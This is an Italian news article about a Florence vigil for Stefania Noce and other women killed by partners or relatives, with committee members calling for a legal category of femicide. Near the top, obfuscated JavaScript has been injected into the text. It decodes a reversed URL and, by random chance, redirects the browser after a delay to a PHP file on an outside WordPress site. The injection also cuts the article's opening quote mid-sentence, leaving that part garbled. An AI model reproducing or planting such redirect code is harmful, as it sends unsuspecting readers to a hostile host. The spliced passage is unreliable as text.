Fermiamo la strage delle donne

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foto di Claudio Guardi
(typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andremo incontro ad una vera e propria strage”.
Con queste parole ha esordito ieri sera in piazza della Signoria Lea Fiorentini, rappresentante del comitato “Se non ora quando”, promotore di una fiaccolata in ricordo di Stefania Noce, una ragazza di ventiquattro anni assassinata dal fidanzato in provincia di Catania.

L’evento ha radunato una cinquantina di persone attorno a delle sagome umane riprodotte sul pavimento della piazza, rappresentanti le vittime a cui era dedicata la serata; le componenti del comitato hanno letto ad alta voce una lunga lista di nomi di donne che, come Stefania, hanno visto la loro vita terminare barbaramente con un assassinio. Per ogni nome, un breve riassunto dello svolgimento dei vari omicidi, i cui moventi vanno dalle ragioni economiche al puro delitto passionale. In questa lista nomi di donne italiane ed immigrate che vivevano nel nostro paese, fidanzate e mogli uccise dai compagni, sorelle uccise dai fratelli ma anche madri uccise dai propri figli.

Come ricorda ancora Lea Fiorentini, il caso di Stefania Noce deve farci capire che oggi sono soprattutto le nostre connazionali, e non solo le straniere che magari provengono da culture sessiste, ad essere a rischio di fronte alla violenza di genere, qualunque sia la loro fascia di reddito e la loro estrazione culturale.
“Il problema rimane quello, il possesso” – ci spiega Lea. “L’idea che la donna sia un oggetto, per cui non degna di rispetto. Poi quando l’oggetto si ribella viene chiaramente abbandonato. Tutto questo ci fa capire che la donna ha ancora un lungo cammino di fronte a sé per arrivare all’indipendenza ”

Il comitato “Se non ora quando” intende con quest’evento tenere alta l’attenzione su questi omicidi, che sembrano essere trattati dai media più come dei meri fatti di cronaca che come in realtà essi sono, una questione sociale se non politica. Giusy Salis, altra componente del comitato “Se non ora quando”, parla anche della sua proposta di istituire una nuova categoria di omicidio, e il “femminicidio”, quando cioè una donna viene uccisa per il solo fatto di essere tale. Salis propone anche un inasprimento delle pene e delle misure restrittive, non solo per gli omicidi ma anche per la violenza sessuale: “Una persona che subisce uno stupro si porta dietro questa sofferenza tutta la vita, non penso sia assolutamente giusto che l’autore di un simile crimine venga punito alla pari di un comune ladro, come invece spesso accade”.

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